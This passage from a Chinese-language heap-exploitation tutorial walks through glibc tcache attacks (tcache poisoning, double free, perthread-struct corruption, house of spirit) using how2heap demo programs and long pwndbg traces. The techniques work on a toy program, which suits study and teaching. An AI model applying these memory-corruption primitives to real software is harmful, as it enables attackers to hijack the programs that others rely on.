0x7fff0d28a0c8 ]. 2st malloc(128): 0x7fff0d28a0c8 We got the control ``` 分析一下,程序先申请了一个大小是 128 的 chunk,然后 free。128 在 tcache 的范围内,因此 free 之后该 chunk 被放到了 tcache 中,调试如下: ```asm pwndbg> 0x0000555555554815 18 free(a); LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────[ REGISTERS ]────────────────────────────────────── ...... RDI 0x555555756260 ?— 0x0 ...... RIP 0x555555554815 (main+187) ?— call 0x555555554600 ───────────────────────────────────────[ DISASM ]──────────────────────────────────────── ...... ? 0x555555554815 <main+187> call free@plt <0x555555554600> ptr: 0x555555756260 ?— 0x0 ...... ────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────── ...... ? 18 free(a); ...... ────────────────────────────────────────[ STACK ]──────────────────────────────────────── ...... pwndbg> ni 20 fprintf(stderr, "Now the tcache list has [ %p ].\n", a); LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────[ REGISTERS ]────────────────────────────────────── RAX 0x0 RBX 0x0 RCX 0x7 RDX 0x0 RDI 0x1 RSI 0x555555756010 ?— 0x100000000000000 R8 0x0 R9 0x7fffffffb78c ?— 0x1c00000000 R10 0x911 R11 0x7ffff7aa0ba0 (free) ?— push rbx R12 0x555555554650 (_start) ?— xor ebp, ebp R13 0x7fffffffe0a0 ?— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15 RSP 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15 RIP 0x55555555481a (main+192) ?— mov rax, qword ptr [rip + 0x20083f] ───────────────────────────────────────[ DISASM ]──────────────────────────────────────── 0x555555554802 <main+168> lea rdi, [rip + 0x2bd] 0x555555554809 <main+175> call fwrite@plt <0x555555554630> 0x55555555480e <main+180> mov rax, qword ptr [rbp - 8] 0x555555554812 <main+184> mov rdi, rax 0x555555554815 <main+187> call free@plt <0x555555554600> ? 0x55555555481a <main+192> mov rax, qword ptr [rip + 0x20083f] <0x555555755060> 0x555555554821 <main+199> mov rdx, qword ptr [rbp - 8] 0x555555554825 <main+203> lea rsi, [rip + 0x2b4] 0x55555555482c <main+210> mov rdi, rax 0x55555555482f <main+213> mov eax, 0 0x555555554834 <main+218> call fprintf@plt <0x555555554610> ────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────── 15 intptr_t *a = malloc(128); 16 fprintf(stderr, "malloc(128): %p\n", a); 17 fprintf(stderr, "Freeing the buffer...\n"); 18 free(a); 19 ? 20 fprintf(stderr, "Now the tcache list has [ %p ].\n", a); 21 fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" 22 "to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var); 23 a[0] = (intptr_t)&stack_var; 24 25 fprintf(stderr, "1st malloc(128): %p\n", malloc(128)); ────────────────────────────────────────[ STACK ]──────────────────────────────────────── 00:0000│ rsp 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15 01:0008│ 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp 02:0010│ 0x7fffffffdfb0 —? 0x7fffffffe0a0 ?— 0x1 03:0018│ 0x7fffffffdfb8 —? 0x555555756260 ?— 0x0 04:0020│ rbp 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15 05:0028│ 0x7fffffffdfc8 —? 0x7ffff7a3fa87 (__libc_start_main+231) ?— mov edi, eax 06:0030│ 0x7fffffffdfd0 ?— 0x0 07:0038│ 0x7fffffffdfd8 —? 0x7fffffffe0a8 —? 0x7fffffffe3c6 ?— 0x346d2f656d6f682f ('/home/m4') pwndbg> heapinfo 3886144 (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555557562e0 (size : 0x20d20) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x90) tcache_entry[7]: 0x555555756260 pwndbg> heapbase heapbase : 0x555555756000 pwndbg> p *(struct tcache_perthread_struct*)0x555555756010 $3 = { counts = "\000\000\000\000\000\000\000\001", '\000' <repeats 55 times>, entries = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x555555756260, 0x0 <repeats 56 times>} } ``` 可以看到,此时第 8 条 tcache 链上已经有了一个 chunk,从 `tcache_perthread_struct` 结构体中也能得到同样的结论 然后修改 tcache 的 next ```asm pwndbg> We overwrite the first 8 bytes (fd/next pointer) of the data at 0x555555756260 to point to the location to control (0x7fffffffdfa8). 23 a[0] = (intptr_t)&stack_var; LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────[ REGISTERS ]────────────────────────────────────── RAX 0x85 RBX 0x0 RCX 0x0 RDX 0x7ffff7dd48b0 (_IO_stdfile_2_lock) ?— 0x0 RDI 0x0 RSI 0x7fffffffb900 ?— 0x777265766f206557 ('We overw') R8 0x7ffff7fd14c0 ?— 0x7ffff7fd14c0 R9 0x7fffffffb78c ?— 0x8500000000 R10 0x0 R11 0x246 R12 0x555555554650 (_start) ?— xor ebp, ebp R13 0x7fffffffe0a0 ?— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15 RSP 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15 RIP 0x555555554867 (main+269) ?— lea rdx, [rbp - 0x18] ───────────────────────────────────────[ DISASM ]──────────────────────────────────────── ? 0x555555554867 <main+269> lea rdx, [rbp - 0x18] <0x7ffff7dd48b0> 0x55555555486b <main+273> mov rax, qword ptr [rbp - 8] 0x55555555486f <main+277> mov qword ptr [rax], rdx 0x555555554872 <main+280> mov edi, 0x80 0x555555554877 <main+285> call malloc@plt <0x555555554620> 0x55555555487c <main+290> mov rdx, rax 0x55555555487f <main+293> mov rax, qword ptr [rip + 0x2007da] <0x555555755060> 0x555555554886 <main+300> lea rsi, [rip + 0x2eb] 0x55555555488d <main+307> mov rdi, rax 0x555555554890 <main+310> mov eax, 0 0x555555554895 <main+315> call fprintf@plt <0x555555554610> ────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────── 18 free(a); 19 20 fprintf(stderr, "Now the tcache list has [ %p ].\n", a); 21 fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" 22 "to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var); ? 23 a[0] = (intptr_t)&stack_var; 24 25 fprintf(stderr, "1st malloc(128): %p\n", malloc(128)); 26 fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var); 27 28 intptr_t *b = malloc(128); ────────────────────────────────────────[ STACK ]──────────────────────────────────────── 00:0000│ rsp 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15 01:0008│ 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp 02:0010│ 0x7fffffffdfb0 —? 0x7fffffffe0a0 ?— 0x1 03:0018│ 0x7fffffffdfb8 —? 0x555555756260 ?— 0x0 04:0020│ rbp 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15 05:0028│ 0x7fffffffdfc8 —? 0x7ffff7a3fa87 (__libc_start_main+231) ?— mov edi, eax 06:0030│ 0x7fffffffdfd0 ?— 0x0 07:0038│ 0x7fffffffdfd8 —? 0x7fffffffe0a8 —? 0x7fffffffe3c6 ?— 0x346d2f656d6f682f ('/home/m4') pwndbg> heapinfo 3886144 (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555557562e0 (size : 0x20d20) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x90) tcache_entry[7]: 0x555555756260 pwndbg> n 25 fprintf(stderr, "1st malloc(128): %p\n", malloc(128)); LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────[ REGISTERS ]────────────────────────────────────── RAX 0x555555756260 —? 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp RBX 0x0 RCX 0x0 RDX 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp RDI 0x0 RSI 0x7fffffffb900 ?— 0x777265766f206557 ('We overw') R8 0x7ffff7fd14c0 ?— 0x7ffff7fd14c0 R9 0x7fffffffb78c ?— 0x8500000000 R10 0x0 R11 0x246 R12 0x555555554650 (_start) ?— xor ebp, ebp R13 0x7fffffffe0a0 ?— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15 RSP 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15 RIP 0x555555554872 (main+280) ?— mov edi, 0x80 ───────────────────────────────────────[ DISASM ]──────────────────────────────────────── 0x555555554867 <main+269> lea rdx, [rbp - 0x18] 0x55555555486b <main+273> mov rax, qword ptr [rbp - 8] 0x55555555486f <main+277> mov qword ptr [rax], rdx ? 0x555555554872 <main+280> mov edi, 0x80 0x555555554877 <main+285> call malloc@plt <0x555555554620> 0x55555555487c <main+290> mov rdx, rax 0x55555555487f <main+293> mov rax, qword ptr [rip + 0x2007da] <0x555555755060> 0x555555554886 <main+300> lea rsi, [rip + 0x2eb] 0x55555555488d <main+307> mov rdi, rax 0x555555554890 <main+310> mov eax, 0 0x555555554895 <main+315> call fprintf@plt <0x555555554610> ────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────── 20 fprintf(stderr, "Now the tcache list has [ %p ].\n", a); 21 fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" 22 "to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var); 23 a[0] = (intptr_t)&stack_var; 24 ? 25 fprintf(stderr, "1st malloc(128): %p\n", malloc(128)); 26 fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var); 27 28 intptr_t *b = malloc(128); 29 fprintf(stderr, "2st malloc(128): %p\n", b); 30 fprintf(stderr, "We got the control\n"); ────────────────────────────────────────[ STACK ]──────────────────────────────────────── 00:0000│ rsp 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15 01:0008│ rdx 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp 02:0010│ 0x7fffffffdfb0 —? 0x7fffffffe0a0 ?— 0x1 03:0018│ 0x7fffffffdfb8 —? 0x555555756260 —? 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp 04:0020│ rbp 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15 05:0028│ 0x7fffffffdfc8 —? 0x7ffff7a3fa87 (__libc_start_main+231) ?— mov edi, eax 06:0030│ 0x7fffffffdfd0 ?— 0x0 07:0038│ 0x7fffffffdfd8 —? 0x7fffffffe0a8 —? 0x7fffffffe3c6 ?— 0x346d2f656d6f682f ('/home/m4') pwndbg> heapinfo 3886144 (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555557562e0 (size : 0x20d20) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x90) tcache_entry[7]: 0x555555756260 --> 0x7fffffffdfa8 --> 0x555555554650 ``` 此时,第 8 条 tcache 链的 next 已经被改成栈上的地址了。接下来类似 fastbin attack,只需进行两次 `malloc(128)` 即可控制栈上的空间。 第一次 malloc ```asm pwndbg> n 1st malloc(128): 0x555555756260 26 fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var); LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────[ REGISTERS ]────────────────────────────────────── RAX 0x20 RBX 0x0 RCX 0x0 RDX 0x7ffff7dd48b0 (_IO_stdfile_2_lock) ?— 0x0 RDI 0x0 RSI 0x7fffffffb900 ?— 0x6c6c616d20747331 ('1st mall') R8 0x7ffff7fd14c0 ?— 0x7ffff7fd14c0 R9 0x7fffffffb78c ?— 0x2000000000 R10 0x0 R11 0x246 R12 0x555555554650 (_start) ?— xor ebp, ebp R13 0x7fffffffe0a0 ?— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15 RSP 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15 RIP 0x55555555489a (main+320) ?— mov rax, qword ptr [rip + 0x2007bf] ───────────────────────────────────────[ DISASM ]──────────────────────────────────────── 0x55555555487f <main+293> mov rax, qword ptr [rip + 0x2007da] <0x555555755060> 0x555555554886 <main+300> lea rsi, [rip + 0x2eb] 0x55555555488d <main+307> mov rdi, rax 0x555555554890 <main+310> mov eax, 0 0x555555554895 <main+315> call fprintf@plt <0x555555554610> ? 0x55555555489a <main+320> mov rax, qword ptr [rip + 0x2007bf] <0x555555755060> 0x5555555548a1 <main+327> lea rdx, [rbp - 0x18] 0x5555555548a5 <main+331> lea rsi, [rip + 0x234] 0x5555555548ac <main+338> mov rdi, rax 0x5555555548af <main+341> mov eax, 0 0x5555555548b4 <main+346> call fprintf@plt <0x555555554610> ────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────── 21 fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" 22 "to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var); 23 a[0] = (intptr_t)&stack_var; 24 25 fprintf(stderr, "1st malloc(128): %p\n", malloc(128)); ? 26 fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var); 27 28 intptr_t *b = malloc(128); 29 fprintf(stderr, "2st malloc(128): %p\n", b); 30 fprintf(stderr, "We got the control\n"); 31 ────────────────────────────────────────[ STACK ]──────────────────────────────────────── 00:0000│ rsp 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15 01:0008│ 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp 02:0010│ 0x7fffffffdfb0 —? 0x7fffffffe0a0 ?— 0x1 03:0018│ 0x7fffffffdfb8 —? 0x555555756260 —? 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp 04:0020│ rbp 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15 05:0028│ 0x7fffffffdfc8 —? 0x7ffff7a3fa87 (__libc_start_main+231) ?— mov edi, eax 06:0030│ 0x7fffffffdfd0 ?— 0x0 07:0038│ 0x7fffffffdfd8 —? 0x7fffffffe0a8 —? 0x7fffffffe3c6 ?— 0x346d2f656d6f682f ('/home/m4') pwndbg> heapinfo 3886144 (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555557562e0 (size : 0x20d20) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x90) tcache_entry[7]: 0x7fffffffdfa8 --> 0x555555554650 ``` 第二次 malloc,即可 malloc 栈上的地址了 ```asm pwndbg> heapinfo 3886144 (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555557562e0 (size : 0x20d20) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x90) tcache_entry[7]: 0x7fffffffdfa8 --> 0x555555554650 pwndbg> ni 0x00005555555548c3 28 intptr_t *b = malloc(128); LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────[ REGISTERS ]────────────────────────────────────── RAX 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp RBX 0x0 RCX 0x555555756010 ?— 0xff00000000000000 RDX 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp RDI 0x555555554650 (_start) ?— xor ebp, ebp RSI 0x555555756048 ?— 0x0 R8 0x7ffff7fd14c0 ?— 0x7ffff7fd14c0 R9 0x7fffffffb78c ?— 0x2c00000000 R10 0x0 R11 0x246 R12 0x555555554650 (_start) ?— xor ebp, ebp R13 0x7fffffffe0a0 ?— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15 RSP 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15 RIP 0x5555555548c3 (main+361) ?— mov qword ptr [rbp - 0x10], rax ───────────────────────────────────────[ DISASM ]──────────────────────────────────────── 0x5555555548ac <main+338> mov rdi, rax 0x5555555548af <main+341> mov eax, 0 0x5555555548b4 <main+346> call fprintf@plt <0x555555554610> 0x5555555548b9 <main+351> mov edi, 0x80 0x5555555548be <main+356> call malloc@plt <0x555555554620> ? 0x5555555548c3 <main+361> mov qword ptr [rbp - 0x10], rax 0x5555555548c7 <main+365> mov rax, qword ptr [rip + 0x200792] <0x555555755060> 0x5555555548ce <main+372> mov rdx, qword ptr [rbp - 0x10] 0x5555555548d2 <main+376> lea rsi, [rip + 0x2b4] 0x5555555548d9 <main+383> mov rdi, rax 0x5555555548dc <main+386> mov eax, 0 ────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────── 23 a[0] = (intptr_t)&stack_var; 24 25 fprintf(stderr, "1st malloc(128): %p\n", malloc(128)); 26 fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var); 27 ? 28 intptr_t *b = malloc(128); 29 fprintf(stderr, "2st malloc(128): %p\n", b); 30 fprintf(stderr, "We got the control\n"); 31 32 return 0; 33 } ────────────────────────────────────────[ STACK ]──────────────────────────────────────── 00:0000│ rsp 0x7fffffffdfa0 —? 0x555555554910 (__libc_csu_init) ?— push r15 01:0008│ rax rdx 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp 02:0010│ 0x7fffffffdfb0 —? 0x7fffffffe0a0 ?— 0x1 03:0018│ 0x7fffffffdfb8 —? 0x555555756260 —? 0x7fffffffdfa8 —? 0x555555554650 (_start) ?— xor ebp, ebp 04:0020│ rbp 0x7fffffffdfc0 —? 0x555555554910 (__libc_csu_init) ?— push r15 05:0028│ 0x7fffffffdfc8 —? 0x7ffff7a3fa87 (__libc_start_main+231) ?— mov edi, eax 06:0030│ 0x7fffffffdfd0 ?— 0x0 07:0038│ 0x7fffffffdfd8 —? 0x7fffffffe0a8 —? 0x7fffffffe3c6 ?— 0x346d2f656d6f682f ('/home/m4') pwndbg> i r rax rax 0x7fffffffdfa8 140737488347048 ``` 可以看出 `tcache posioning` 这种方法和 fastbin attack 类似,但因为没有 size 的限制有了更大的利用范围。 ### The introduction of Pwn tcache dup 类似 `fastbin dup`,不过利用的是 `tcache_put()` 的不严谨 ```C static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } ``` 可以看出,`tcache_put()` 的检查也可以忽略不计(甚至没有对 `tcache->counts[tc_idx]` 的检查),大幅提高性能的同时安全性也下降了很多。 因为没有任何检查,所以我们可以对同一个 chunk 多次 free,造成 cycliced list。 以 how2heap 的 [tcache_dup](https://github.com/shellphish/how2heap/blob/master/glibc_2.26/tcache_dup.c) 为例分析,源码如下: ```C glibc_2.26 [master●] bat ./tcache_dup.c ───────┬───────────────────────────────────────────────────────────────────────────────── │ File: ./tcache_dup.c ───────┼───────────────────────────────────────────────────────────────────────────────── 1 │ #include <stdio.h> 2 │ #include <stdlib.h> 3 │ 4 │ int main() 5 │ { 6 │ fprintf(stderr, "This file demonstrates a simple double-free attack with │ tcache.\n"); 7 │ 8 │ fprintf(stderr, "Allocating buffer.\n"); 9 │ int *a = malloc(8); 10 │ 11 │ fprintf(stderr, "malloc(8): %p\n", a); 12 │ fprintf(stderr, "Freeing twice...\n"); 13 │ free(a); 14 │ free(a); 15 │ 16 │ fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a); 17 │ fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", ma │ lloc(8), malloc(8)); 18 │ 19 │ return 0; 20 │ } ───────┴───────────────────────────────────────────────────────────────────────────────── ``` 调试一下,第一次 free ```asm pwndbg> n 14 free(a); LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────[ REGISTERS ]────────────────────────────────────── RAX 0x0 RBX 0x0 RCX 0x0 RDX 0x0 RDI 0x1 RSI 0x555555756010 ?— 0x1 R8 0x0 R9 0x7fffffffb79c ?— 0x1a00000000 R10 0x911 R11 0x7ffff7aa0ba0 (free) ?— push rbx R12 0x555555554650 (_start) ?— xor ebp, ebp R13 0x7fffffffe0b0 ?— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdfd0 —? 0x555555554870 (__libc_csu_init) ?— push r15 RSP 0x7fffffffdfb0 —? 0x555555554870 (__libc_csu_init) ?— push r15 RIP 0x5555555547fc (main+162) ?— mov rax, qword ptr [rbp - 0x18] ───────────────────────────────────────[ DISASM ]──────────────────────────────────────── 0x5555555547e4 <main+138> lea rdi, [rip + 0x171] 0x5555555547eb <main+145> call fwrite@plt <0x555555554630> 0x5555555547f0 <main+150> mov rax, qword ptr [rbp - 0x18] 0x5555555547f4 <main+154> mov rdi, rax 0x5555555547f7 <main+157> call free@plt <0x555555554600> ? 0x5555555547fc <main+162> mov rax, qword ptr [rbp - 0x18] 0x555555554800 <main+166> mov rdi, rax 0x555555554803 <main+169> call free@plt <0x555555554600> 0x555555554808 <main+174> mov rax, qword ptr [rip + 0x200851] <0x555555755060> 0x55555555480f <main+181> mov rcx, qword ptr [rbp - 0x18] 0x555555554813 <main+185> mov rdx, qword ptr [rbp - 0x18] ────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────── 9 int *a = malloc(8); 10 11 fprintf(stderr, "malloc(8): %p\n", a); 12 fprintf(stderr, "Freeing twice...\n"); 13 free(a); ? 14 free(a); 15 16 fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a); 17 fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8)); 18 19 return 0; ────────────────────────────────────────[ STACK ]──────────────────────────────────────── 00:0000│ rsp 0x7fffffffdfb0 —? 0x555555554870 (__libc_csu_init) ?— push r15 01:0008│ 0x7fffffffdfb8 —? 0x555555756260 ?— 0x0 02:0010│ 0x7fffffffdfc0 —? 0x7fffffffe0b0 ?— 0x1 03:0018│ 0x7fffffffdfc8 ?— 0x0 04:0020│ rbp 0x7fffffffdfd0 —? 0x555555554870 (__libc_csu_init) ?— push r15 05:0028│ 0x7fffffffdfd8 —? 0x7ffff7a3fa87 (__libc_start_main+231) ?— mov edi, eax 06:0030│ 0x7fffffffdfe0 ?— 0x0 07:0038│ 0x7fffffffdfe8 —? 0x7fffffffe0b8 —? 0x7fffffffe3d8 ?— 0x346d2f656d6f682f ('/home/m4') pwndbg> heapinfo 3886144 (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555756270 (size : 0x20d90) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0]: 0x555555756260 ``` tcache 的第一条链放入了一个 chunk 第二次 free 时,虽然 free 的是同一个 chunk,但因为 `tcache_put()` 没有做任何检查,因此程序不会 crash ```asm pwndbg> n 16 fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a); LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────[ REGISTERS ]────────────────────────────────────── RAX 0x0 RBX 0x0 RCX 0x0 RDX 0x555555756260 ?— 0x555555756260 /* '`buUUU' */ RDI 0x2 RSI 0x555555756010 ?— 0x2 R8 0x1 R9 0x7fffffffb79c ?— 0x1a00000000 R10 0x911 R11 0x7ffff7aa0ba0 (free) ?— push rbx R12 0x555555554650 (_start) ?— xor ebp, ebp R13 0x7fffffffe0b0 ?— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdfd0 —? 0x555555554870 (__libc_csu_init) ?— push r15 RSP 0x7fffffffdfb0 —? 0x555555554870 (__libc_csu_init) ?— push r15 RIP 0x555555554808 (main+174) ?— mov rax, qword ptr [rip + 0x200851] ───────────────────────────────────────[ DISASM ]──────────────────────────────────────── 0x5555555547f4 <main+154> mov rdi, rax 0x5555555547f7 <main+157> call free@plt <0x555555554600> 0x5555555547fc <main+162> mov rax, qword ptr [rbp - 0x18] 0x555555554800 <main+166> mov rdi, rax 0x555555554803 <main+169> call free@plt <0x555555554600> ? 0x555555554808 <main+174> mov rax, qword ptr [rip + 0x200851] <0x555555755060> 0x55555555480f <main+181> mov rcx, qword ptr [rbp - 0x18] 0x555555554813 <main+185> mov rdx, qword ptr [rbp - 0x18] 0x555555554817 <main+189> lea rsi, [rip + 0x152] 0x55555555481e <main+196> mov rdi, rax 0x555555554821 <main+199> mov eax, 0 ────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────── 11 fprintf(stderr, "malloc(8): %p\n", a); 12 fprintf(stderr, "Freeing twice...\n"); 13 free(a); 14 free(a); 15 ? 16 fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a); 17 fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8)); 18 19 return 0; 20 } ────────────────────────────────────────[ STACK ]──────────────────────────────────────── 00:0000│ rsp 0x7fffffffdfb0 —? 0x555555554870 (__libc_csu_init) ?— push r15 01:0008│ 0x7fffffffdfb8 —? 0x555555756260 ?— 0x555555756260 /* '`buUUU' */ 02:0010│ 0x7fffffffdfc0 —? 0x7fffffffe0b0 ?— 0x1 03:0018│ 0x7fffffffdfc8 ?— 0x0 04:0020│ rbp 0x7fffffffdfd0 —? 0x555555554870 (__libc_csu_init) ?— push r15 05:0028│ 0x7fffffffdfd8 —? 0x7ffff7a3fa87 (__libc_start_main+231) ?— mov edi, eax 06:0030│ 0x7fffffffdfe0 ?— 0x0 07:0038│ 0x7fffffffdfe8 —? 0x7fffffffe0b8 —? 0x7fffffffe3d8 ?— 0x346d2f656d6f682f ('/home/m4') pwndbg> heapinfo 3886144 (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555756270 (size : 0x20d90) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0]: 0x555555756260 --> 0x555555756260 (overlap chunk with 0x555555756250(freed) ) ``` 可以看出,这种方法与 `fastbin dup` 相比也简单了很多。 ### The introduction of Pwn tcache perthread corruption 我们已经知道 `tcache_perthread_struct` 是整个 tcache 的管理结构,如果能控制这个结构体,那么无论我们 malloc 的 size 是多少,地址都是可控的。 这里没找到太好的例子,自己想了一种情况 设想有如下的堆排布情况 ``` tcache_ +------------+ \perthread |...... | \_struct +------------+ |counts[i] | +------------+ |...... | +----------+ +------------+ |header | |entries[i] |--------->+----------+ +------------+ |NULL | |...... | +----------+ | | | | +------------+ +----------+ ``` 通过一些手段(如 `tcache posioning`),我们将其改为了 ``` tcache_ +------------+<---------------------------+ \perthread |...... | | \_struct +------------+ | |counts[i] | | +------------+ | |...... | +----------+ | +------------+ |header | | |entries[i] |--------->+----------+ | +------------+ |target |------+ |...... | +----------+ | | | | +------------+ +----------+ ``` 这样,两次 malloc 后我们就返回了 `tcache_perthread_struct` 的地址,就可以控制整个 tcache 了。 **因为 tcache_perthread_struct 也在堆上,因此这种方法一般只需要 partial overwrite 就可以达到目的。** ### The introduction of Pwn tcache house of spirit 拿 how2heap 的源码来讲: ```c #include <stdio.h> #include <stdlib.h> int main() { fprintf(stderr, "This file demonstrates the house of spirit attack on tcache.\n"); fprintf(stderr, "It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); fprintf(stderr, "You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); fprintf(stderr, "(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); fprintf(stderr, "Ok. Let's start with the example!.\n\n"); 